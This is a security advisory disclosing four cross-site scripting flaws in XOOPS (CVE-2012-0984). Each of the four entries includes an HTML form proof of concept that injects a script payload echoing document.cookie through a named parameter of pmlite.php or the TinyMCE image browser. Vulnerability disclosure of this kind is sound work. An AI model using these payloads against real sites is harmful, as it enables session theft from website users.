Multiple XSS vulnerabilities in XOOPS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in XOOPS, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1. Multiple Cross-Site Scripting (XSS) in XOOPS: CVE-2012-0984
   1.1 Input passed via the “to_userid” POST parameter to /modules/pm/pmlite.php is not properly sanitised before being returned to the user.
   This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of affected website.
   The following PoC code is available:
   <form action=‘http://[host]/modules/pm/pmlite.php’ method=“post”>
   <input type=“hidden” name=“sendmod” value=‘1’>
   <input type=“hidden” name=“to_userid” value=‘"><script>alert(document.cookie);</script>’>
   <input type=“submit” value=“submit” id=“btn”>
   </form>
   1.2 Input passed via the “current_file” POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
   This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of affected website.
   The following PoC code is available:
   <form action=“http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/pl ugins/xoopsimagemanager/xoopsimagebrowser.php?target=1” method=“post”>
   <input type=“hidden” name=“isadmin” value=‘1’>
   <input type=“hidden” name=“catreadcount” value=‘1’>
   <input type=“hidden” name=“catwritecount” value=‘1’>
   <input type=“hidden” name=“current_file” value=‘"><script>alert(document.cookie);</script>’>
   <input type=“submit” value=“submit” id=“btn”>
   </form>
   1.3 Input passed via the “imgcat_id” POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
   This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of affected website.
   The following PoC code is available:
   <form action=“http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/pl ugins/xoopsimagemanager/xoopsimagebrowser.php?target=1” method=“post”>
   <input type=“hidden” name=“isadmin” value=‘1’>
   <input type=“hidden” name=“catreadcount” value=‘1’>
   <input type=“hidden” name=“catwritecount” value=‘1’>
   <input type=“hidden” name=“imgcat_id” value=‘"><script>alert(document.cookie);</script>’>
   <input type=“hidden” name=“op” value=‘editcat’>
   <input type=“submit” value=“submit” id=“btn”>
   </form>
   1.4 Input passed via the “target” POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
   This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of affected website.
   The following PoC code is available:

<form action=“http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/pl ugins/xoopsimagemanager/xoopsimagebrowser.php” method=“post”>
<input type=“hidden” name=“isadmin” value=‘1’>
<input type=“hidden” name=“catreadcount” value=‘1’>
<input type=“hidden” name=“catwritecount” value=‘1’>
<input type=“hidden” name=“target” value=‘"><script>alert(document.cookie);</script>’>
<input type=“submit” value=“submit” id=“btn”>
</form>